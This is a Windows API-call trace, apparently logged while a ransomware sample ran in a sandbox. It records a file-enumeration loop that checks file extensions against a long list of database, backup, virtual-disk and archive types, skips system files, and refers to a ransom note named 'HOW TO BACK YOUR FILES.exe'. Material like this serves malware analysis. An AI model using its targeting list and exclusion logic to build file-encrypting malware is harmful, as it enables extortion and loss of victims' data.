	[0057.119] lstrcmpiW (lpString1="fca", lpString2="frm") returned -1
	[0057.119] lstrlenW (lpString="gdb") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.119] lstrlenW (lpString="gdb") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="gdb") returned -1
	[0057.119] lstrlenW (lpString="grdb") returned 4
	[0057.119] lstrcmpiW (lpString1=".fca", lpString2="grdb") returned -1
	[0057.119] lstrlenW (lpString="gwi") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="gwi") returned -1
	[0057.119] lstrlenW (lpString="hdb") returned 3
	[0057.119] lstrcmpiW (lpString1="fca", lpString2="hdb") returned -1
	[0057.119] lstrlenW (lpString="his") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="his") returned -1
	[0057.120] lstrlenW (lpString="ib") returned 2
	[0057.120] lstrcmpiW (lpString1="ca", lpString2="ib") returned -1
	[0057.120] lstrlenW (lpString="idb") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="idb") returned -1
	[0057.120] lstrlenW (lpString="ihx") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="ihx") returned -1
	[0057.120] lstrlenW (lpString="itdb") returned 4
	[0057.120] lstrcmpiW (lpString1=".fca", lpString2="itdb") returned -1
	[0057.120] lstrlenW (lpString="itw") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="itw") returned -1
	[0057.120] lstrlenW (lpString="jet") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="jet") returned -1
	[0057.120] lstrlenW (lpString="jtx") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="jtx") returned -1
	[0057.120] lstrlenW (lpString="kdb") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="kdb") returned -1
	[0057.120] lstrlenW (lpString="kexi") returned 4
	[0057.120] lstrcmpiW (lpString1=".fca", lpString2="kexi") returned -1
	[0057.120] lstrlenW (lpString="kexic") returned 5
	[0057.120] lstrcmpiW (lpString1="s.fca", lpString2="kexic") returned 1
	[0057.120] lstrlenW (lpString="kexis") returned 5
	[0057.120] lstrcmpiW (lpString1="s.fca", lpString2="kexis") returned 1
	[0057.120] lstrlenW (lpString="lgc") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="lgc") returned -1
	[0057.120] lstrlenW (lpString="lwx") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="lwx") returned -1
	[0057.120] lstrlenW (lpString="maf") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="maf") returned -1
	[0057.120] lstrlenW (lpString="maq") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="maq") returned -1
	[0057.120] lstrlenW (lpString="mar") returned 3
	[0057.120] lstrcmpiW (lpString1="fca", lpString2="mar") returned -1
	[0057.120] lstrlenW (lpString="marshal") returned 7
	[0057.120] lstrlenW (lpString="mas") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mas") returned -1
	[0057.121] lstrlenW (lpString="mav") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mav") returned -1
	[0057.121] lstrlenW (lpString="maw") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="maw") returned -1
	[0057.121] lstrlenW (lpString="mdbhtml") returned 7
	[0057.121] lstrlenW (lpString="mdn") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mdn") returned -1
	[0057.121] lstrlenW (lpString="mdt") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mdt") returned -1
	[0057.121] lstrlenW (lpString="mfd") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mfd") returned -1
	[0057.121] lstrlenW (lpString="mpd") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mpd") returned -1
	[0057.121] lstrlenW (lpString="mrg") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mrg") returned -1
	[0057.121] lstrlenW (lpString="mud") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mud") returned -1
	[0057.121] lstrlenW (lpString="mwb") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="mwb") returned -1
	[0057.121] lstrlenW (lpString="myd") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="myd") returned -1
	[0057.121] lstrlenW (lpString="ndf") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="ndf") returned -1
	[0057.121] lstrlenW (lpString="nnt") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="nnt") returned -1
	[0057.121] lstrlenW (lpString="nrmlib") returned 6
	[0057.121] lstrcmpiW (lpString1="us.fca", lpString2="nrmlib") returned 1
	[0057.121] lstrlenW (lpString="ns2") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="ns2") returned -1
	[0057.121] lstrlenW (lpString="ns3") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="ns3") returned -1
	[0057.121] lstrlenW (lpString="ns4") returned 3
	[0057.121] lstrcmpiW (lpString1="fca", lpString2="ns4") returned -1
	[0057.122] lstrlenW (lpString="nsf") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="nsf") returned -1
	[0057.122] lstrlenW (lpString="nv") returned 2
	[0057.122] lstrcmpiW (lpString1="ca", lpString2="nv") returned -1
	[0057.122] lstrlenW (lpString="nv2") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="nv2") returned -1
	[0057.122] lstrlenW (lpString="nwdb") returned 4
	[0057.122] lstrcmpiW (lpString1=".fca", lpString2="nwdb") returned -1
	[0057.122] lstrlenW (lpString="nyf") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="nyf") returned -1
	[0057.122] lstrlenW (lpString="odb") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.122] lstrlenW (lpString="odb") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.122] lstrlenW (lpString="oqy") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="oqy") returned -1
	[0057.122] lstrlenW (lpString="ora") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="ora") returned -1
	[0057.122] lstrlenW (lpString="orx") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="orx") returned -1
	[0057.122] lstrlenW (lpString="owc") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="owc") returned -1
	[0057.122] lstrlenW (lpString="p96") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="p96") returned -1
	[0057.122] lstrlenW (lpString="p97") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="p97") returned -1
	[0057.122] lstrlenW (lpString="pan") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="pan") returned -1
	[0057.122] lstrlenW (lpString="pdb") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="pdb") returned -1
	[0057.122] lstrlenW (lpString="pdm") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="pdm") returned -1
	[0057.122] lstrlenW (lpString="pnz") returned 3
	[0057.122] lstrcmpiW (lpString1="fca", lpString2="pnz") returned -1
	[0057.123] lstrlenW (lpString="qry") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="qry") returned -1
	[0057.123] lstrlenW (lpString="qvd") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="qvd") returned -1
	[0057.123] lstrlenW (lpString="rbf") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="rbf") returned -1
	[0057.123] lstrlenW (lpString="rctd") returned 4
	[0057.123] lstrcmpiW (lpString1=".fca", lpString2="rctd") returned -1
	[0057.123] lstrlenW (lpString="rod") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="rod") returned -1
	[0057.123] lstrlenW (lpString="rodx") returned 4
	[0057.123] lstrcmpiW (lpString1=".fca", lpString2="rodx") returned -1
	[0057.123] lstrlenW (lpString="rpd") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="rpd") returned -1
	[0057.123] lstrlenW (lpString="rsd") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="rsd") returned -1
	[0057.123] lstrlenW (lpString="sas7bdat") returned 8
	[0057.123] lstrlenW (lpString="sbf") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="sbf") returned -1
	[0057.123] lstrlenW (lpString="scx") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="scx") returned -1
	[0057.123] lstrlenW (lpString="sdb") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="sdb") returned -1
	[0057.123] lstrlenW (lpString="sdc") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="sdc") returned -1
	[0057.123] lstrlenW (lpString="sdf") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="sdf") returned -1
	[0057.123] lstrlenW (lpString="sis") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="sis") returned -1
	[0057.123] lstrlenW (lpString="spq") returned 3
	[0057.123] lstrcmpiW (lpString1="fca", lpString2="spq") returned -1
	[0057.123] lstrlenW (lpString="te") returned 2
	[0057.123] lstrcmpiW (lpString1="ca", lpString2="te") returned -1
	[0057.123] lstrlenW (lpString="teacher") returned 7
	[0057.123] lstrlenW (lpString="tmd") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="tmd") returned -1
	[0057.124] lstrlenW (lpString="tps") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="tps") returned -1
	[0057.124] lstrlenW (lpString="trc") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.124] lstrlenW (lpString="trc") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.124] lstrlenW (lpString="trm") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="trm") returned -1
	[0057.124] lstrlenW (lpString="udb") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="udb") returned -1
	[0057.124] lstrlenW (lpString="udl") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="udl") returned -1
	[0057.124] lstrlenW (lpString="usr") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="usr") returned -1
	[0057.124] lstrlenW (lpString="v12") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="v12") returned -1
	[0057.124] lstrlenW (lpString="vis") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="vis") returned -1
	[0057.124] lstrlenW (lpString="vpd") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="vpd") returned -1
	[0057.124] lstrlenW (lpString="vvv") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="vvv") returned -1
	[0057.124] lstrlenW (lpString="wdb") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="wdb") returned -1
	[0057.124] lstrlenW (lpString="wmdb") returned 4
	[0057.124] lstrcmpiW (lpString1=".fca", lpString2="wmdb") returned -1
	[0057.124] lstrlenW (lpString="wrk") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="wrk") returned -1
	[0057.124] lstrlenW (lpString="xdb") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="xdb") returned -1
	[0057.124] lstrlenW (lpString="xld") returned 3
	[0057.124] lstrcmpiW (lpString1="fca", lpString2="xld") returned -1
	[0057.124] lstrlenW (lpString="xmlff") returned 5
	[0057.124] lstrcmpiW (lpString1="s.fca", lpString2="xmlff") returned -1
	[0057.125] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e05c960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rus.hyp", cAlternateFileName="")) returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2=".") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="..") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="windows") returned -1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="bootmgr") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="temp") returned -1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="pagefile.sys") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="boot") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="ids.txt") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="ntuser.dat") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="perflogs") returned 1
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2="MSBuild") returned 1
	[0057.125] lstrlenW (lpString="rus.hyp") returned 7
	[0057.125] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\rus.fca") returned 95
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2=".dll") returned 1
	[0057.125] lstrlenW (lpString=".lnk") returned 4
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2=".lnk") returned 1
	[0057.125] lstrlenW (lpString=".ini") returned 4
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2=".ini") returned 1
	[0057.125] lstrlenW (lpString=".sys") returned 4
	[0057.125] lstrcmpiW (lpString1="rus.hyp", lpString2=".sys") returned 1
	[0057.125] lstrlenW (lpString="rus.hyp") returned 7
	[0057.125] lstrlenW (lpString="bak") returned 3
	[0057.125] lstrcmpiW (lpString1="hyp", lpString2="bak") returned 1
	[0057.125] lstrlenW (lpString="ba_") returned 3
	[0057.125] lstrcmpiW (lpString1="hyp", lpString2="ba_") returned 1
	[0057.125] lstrlenW (lpString="dbb") returned 3
	[0057.125] lstrcmpiW (lpString1="hyp", lpString2="dbb") returned 1
	[0057.125] lstrlenW (lpString="vmdk") returned 4
	[0057.125] lstrcmpiW (lpString1=".hyp", lpString2="vmdk") returned -1
	[0057.125] lstrlenW (lpString="rar") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="rar") returned -1
	[0057.126] lstrlenW (lpString="zip") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="zip") returned -1
	[0057.126] lstrlenW (lpString="tgz") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="tgz") returned -1
	[0057.126] lstrlenW (lpString="vbox") returned 4
	[0057.126] lstrcmpiW (lpString1=".hyp", lpString2="vbox") returned -1
	[0057.126] lstrlenW (lpString="vdi") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="vdi") returned -1
	[0057.126] lstrlenW (lpString="vhd") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="vhd") returned -1
	[0057.126] lstrlenW (lpString="vhdx") returned 4
	[0057.126] lstrcmpiW (lpString1=".hyp", lpString2="vhdx") returned -1
	[0057.126] lstrlenW (lpString="avhd") returned 4
	[0057.126] lstrcmpiW (lpString1=".hyp", lpString2="avhd") returned -1
	[0057.126] lstrlenW (lpString="db") returned 2
	[0057.126] lstrcmpiW (lpString1="yp", lpString2="db") returned 1
	[0057.126] lstrlenW (lpString="db2") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="db2") returned 1
	[0057.126] lstrlenW (lpString="db3") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="db3") returned 1
	[0057.126] lstrlenW (lpString="dbf") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="dbf") returned 1
	[0057.126] lstrlenW (lpString="mdf") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="mdf") returned -1
	[0057.126] lstrlenW (lpString="mdb") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="mdb") returned -1
	[0057.126] lstrlenW (lpString="sql") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="sql") returned -1
	[0057.126] lstrlenW (lpString="sqlite") returned 6
	[0057.126] lstrcmpiW (lpString1="us.hyp", lpString2="sqlite") returned 1
	[0057.126] lstrlenW (lpString="sqlite3") returned 7
	[0057.126] lstrlenW (lpString="sqlitedb") returned 8
	[0057.126] lstrlenW (lpString="xml") returned 3
	[0057.126] lstrcmpiW (lpString1="hyp", lpString2="xml") returned -1
	[0057.127] lstrlenW (lpString="$er") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="$er") returned 1
	[0057.127] lstrlenW (lpString="4dd") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="4dd") returned 1
	[0057.127] lstrlenW (lpString="4dl") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="4dl") returned 1
	[0057.127] lstrlenW (lpString="^^^") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="^^^") returned 1
	[0057.127] lstrlenW (lpString="abs") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="abs") returned 1
	[0057.127] lstrlenW (lpString="abx") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="abx") returned 1
	[0057.127] lstrlenW (lpString="accdb") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accdb") returned 1
	[0057.127] lstrlenW (lpString="accdc") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accdc") returned 1
	[0057.127] lstrlenW (lpString="accde") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accde") returned 1
	[0057.127] lstrlenW (lpString="accdr") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accdr") returned 1
	[0057.127] lstrlenW (lpString="accdt") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accdt") returned 1
	[0057.127] lstrlenW (lpString="accdw") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accdw") returned 1
	[0057.127] lstrlenW (lpString="accft") returned 5
	[0057.127] lstrcmpiW (lpString1="s.hyp", lpString2="accft") returned 1
	[0057.127] lstrlenW (lpString="adb") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.127] lstrlenW (lpString="adb") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.127] lstrlenW (lpString="ade") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="ade") returned 1
	[0057.127] lstrlenW (lpString="adf") returned 3
	[0057.127] lstrcmpiW (lpString1="hyp", lpString2="adf") returned 1
	[0057.127] lstrlenW (lpString="adn") returned 3
	[0057.128] lstrcmpiW (lpString1="hyp", lpString2="adn") returned 1
	[0057.128] lstrlenW (lpString="adp") returned 3
	[0057.128] lstrcmpiW (lpString1="hyp", lpString2="adp") returned 1
	[0057.128] lstrlenW (lpString="alf") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="alf") returned 1
	[0057.143] lstrlenW (lpString="ask") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="ask") returned 1
	[0057.143] lstrlenW (lpString="btr") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="btr") returned 1
	[0057.143] lstrlenW (lpString="cat") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="cat") returned 1
	[0057.143] lstrlenW (lpString="cdb") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="cdb") returned 1
	[0057.143] lstrlenW (lpString="ckp") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="ckp") returned 1
	[0057.143] lstrlenW (lpString="cma") returned 3
	[0057.143] lstrcmpiW (lpString1="hyp", lpString2="cma") returned 1
	[0057.143] lstrlenW (lpString="cpd") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="cpd") returned 1
	[0057.144] lstrlenW (lpString="dacpac") returned 6
	[0057.144] lstrcmpiW (lpString1="us.hyp", lpString2="dacpac") returned 1
	[0057.144] lstrlenW (lpString="dad") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dad") returned 1
	[0057.144] lstrlenW (lpString="dadiagrams") returned 10
	[0057.144] lstrlenW (lpString="daschema") returned 8
	[0057.144] lstrlenW (lpString="db-journal") returned 10
	[0057.144] lstrlenW (lpString="db-shm") returned 6
	[0057.144] lstrcmpiW (lpString1="us.hyp", lpString2="db-shm") returned 1
	[0057.144] lstrlenW (lpString="db-wal") returned 6
	[0057.144] lstrcmpiW (lpString1="us.hyp", lpString2="db-wal") returned 1
	[0057.144] lstrlenW (lpString="dbc") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dbc") returned 1
	[0057.144] lstrlenW (lpString="dbs") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dbs") returned 1
	[0057.144] lstrlenW (lpString="dbt") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dbt") returned 1
	[0057.144] lstrlenW (lpString="dbv") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dbv") returned 1
	[0057.144] lstrlenW (lpString="dbx") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dbx") returned 1
	[0057.144] lstrlenW (lpString="dcb") returned 3
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dcb") returned 1
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dct") returned 1
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="dcx") returned 1
	[0057.144] lstrcmpiW (lpString1="hyp", lpString2="ddl") returned 1
	[0057.144] lstrcmpiW (lpString1=".hyp", lpString2="dlis") returned -1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="dp1") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="dqy") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="dsk") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="dsn") returned 1
	[0057.145] lstrcmpiW (lpString1=".hyp", lpString2="dtsx") returned -1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="dxl") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="eco") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="ecx") returned 1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="edb") returned 1
	[0057.145] lstrcmpiW (lpString1=".hyp", lpString2="epim") returned -1
	[0057.145] lstrcmpiW (lpString1="hyp", lpString2="fcd") returned 1
	[0057.145] lstrcpyW (in: lpString1=0x2d3e600, lpString2="rus101.hsp" | out: lpString1="rus101.hsp") returned="rus101.hsp"
	[0057.145] lstrlenW (lpString="rus101.hsp") returned 10
	[0057.145] lstrlenW (lpString="Apollon865") returned 10
	[0057.145] lstrlenW (lpString=".dll") returned 4
	[0057.145] lstrcmpiW (lpString1="rus101.hsp", lpString2=".dll") returned 1
	[0057.145] lstrlenW (lpString=".lnk") returned 4
	[0057.145] lstrcmpiW (lpString1="rus101.hsp", lpString2=".lnk") returned 1
	[0057.145] lstrlenW (lpString=".ini") returned 4
	[0057.145] lstrcmpiW (lpString1="rus101.hsp", lpString2=".ini") returned 1
	[0057.145] lstrlenW (lpString=".sys") returned 4
	[0057.145] lstrcmpiW (lpString1="rus101.hsp", lpString2=".sys") returned 1
	[0057.146] lstrlenW (lpString="rus101.hsp") returned 10
	[0057.146] lstrcpyW (in: lpString1=0x2d3e600, lpString2="rus32.clx" | out: lpString1="rus32.clx") returned="rus32.clx"
	[0057.146] lstrlenW (lpString="rus32.clx") returned 9
	[0057.146] lstrlenW (lpString="Apollon865") returned 10
	[0057.146] lstrlenW (lpString=".dll") returned 4
	[0057.146] lstrcmpiW (lpString1="rus32.clx", lpString2=".dll") returned 1
	[0057.146] lstrlenW (lpString=".lnk") returned 4
	[0057.146] lstrcmpiW (lpString1="rus32.clx", lpString2=".lnk") returned 1
	[0057.146] lstrlenW (lpString=".ini") returned 4
	[0057.146] lstrcmpiW (lpString1="rus32.clx", lpString2=".ini") returned 1
	[0057.146] lstrlenW (lpString=".sys") returned 4
	[0057.146] lstrcmpiW (lpString1="rus32.clx", lpString2=".sys") returned 1
	[0057.146] lstrlenW (lpString="rus32.clx") returned 9
	[0057.146] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sgr.fca" | out: lpString1="sgr.fca") returned="sgr.fca"
	[0057.146] lstrlenW (lpString="sgr.fca") returned 7
	[0057.146] lstrlenW (lpString="Apollon865") returned 10
	[0057.146] lstrlenW (lpString=".dll") returned 4
	[0057.146] lstrcmpiW (lpString1="sgr.fca", lpString2=".dll") returned 1
	[0057.146] lstrlenW (lpString=".lnk") returned 4
	[0057.146] lstrcmpiW (lpString1="sgr.fca", lpString2=".lnk") returned 1
	[0057.146] lstrlenW (lpString=".ini") returned 4
	[0057.146] lstrcmpiW (lpString1="sgr.fca", lpString2=".ini") returned 1
	[0057.146] lstrlenW (lpString=".sys") returned 4
	[0057.146] lstrcmpiW (lpString1="sgr.fca", lpString2=".sys") returned 1
	[0057.146] lstrlenW (lpString="sgr.fca") returned 7
	[0057.146] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sgr.hyp" | out: lpString1="sgr.hyp") returned="sgr.hyp"
	[0057.146] lstrlenW (lpString="sgr.hyp") returned 7
	[0057.146] lstrlenW (lpString="Apollon865") returned 10
	[0057.146] lstrlenW (lpString=".dll") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr.hyp", lpString2=".dll") returned 1
	[0057.147] lstrlenW (lpString=".lnk") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr.hyp", lpString2=".lnk") returned 1
	[0057.147] lstrlenW (lpString=".ini") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr.hyp", lpString2=".ini") returned 1
	[0057.147] lstrlenW (lpString=".sys") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr.hyp", lpString2=".sys") returned 1
	[0057.147] lstrlenW (lpString="sgr.hyp") returned 7
	[0057.147] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sgr105.hsp" | out: lpString1="sgr105.hsp") returned="sgr105.hsp"
	[0057.147] lstrlenW (lpString="sgr105.hsp") returned 10
	[0057.147] lstrlenW (lpString="Apollon865") returned 10
	[0057.147] lstrlenW (lpString=".dll") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr105.hsp", lpString2=".dll") returned 1
	[0057.147] lstrlenW (lpString=".lnk") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr105.hsp", lpString2=".lnk") returned 1
	[0057.147] lstrlenW (lpString=".ini") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr105.hsp", lpString2=".ini") returned 1
	[0057.147] lstrlenW (lpString=".sys") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr105.hsp", lpString2=".sys") returned 1
	[0057.147] lstrlenW (lpString="sgr105.hsp") returned 10
	[0057.147] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sgr32.clx" | out: lpString1="sgr32.clx") returned="sgr32.clx"
	[0057.147] lstrlenW (lpString="sgr32.clx") returned 9
	[0057.147] lstrlenW (lpString="Apollon865") returned 10
	[0057.147] lstrlenW (lpString=".dll") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr32.clx", lpString2=".dll") returned 1
	[0057.147] lstrlenW (lpString=".lnk") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr32.clx", lpString2=".lnk") returned 1
	[0057.147] lstrlenW (lpString=".ini") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr32.clx", lpString2=".ini") returned 1
	[0057.147] lstrlenW (lpString=".sys") returned 4
	[0057.147] lstrcmpiW (lpString1="sgr32.clx", lpString2=".sys") returned 1
	[0057.148] lstrlenW (lpString="sgr32.clx") returned 9
	[0057.148] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sgr96.ths" | out: lpString1="sgr96.ths") returned="sgr96.ths"
	[0057.148] lstrlenW (lpString="sgr96.ths") returned 9
	[0057.148] lstrlenW (lpString="Apollon865") returned 10
	[0057.148] lstrlenW (lpString=".dll") returned 4
	[0057.148] lstrcmpiW (lpString1="sgr96.ths", lpString2=".dll") returned 1
	[0057.148] lstrlenW (lpString=".lnk") returned 4
	[0057.148] lstrcmpiW (lpString1="sgr96.ths", lpString2=".lnk") returned 1
	[0057.148] lstrlenW (lpString=".ini") returned 4
	[0057.148] lstrcmpiW (lpString1="sgr96.ths", lpString2=".ini") returned 1
	[0057.148] lstrlenW (lpString=".sys") returned 4
	[0057.148] lstrcmpiW (lpString1="sgr96.ths", lpString2=".sys") returned 1
	[0057.148] lstrlenW (lpString="sgr96.ths") returned 9
	[0057.148] lstrcpyW (in: lpString1=0x2d3e600, lpString2="slo.fca" | out: lpString1="slo.fca") returned="slo.fca"
	[0057.148] lstrlenW (lpString="slo.fca") returned 7
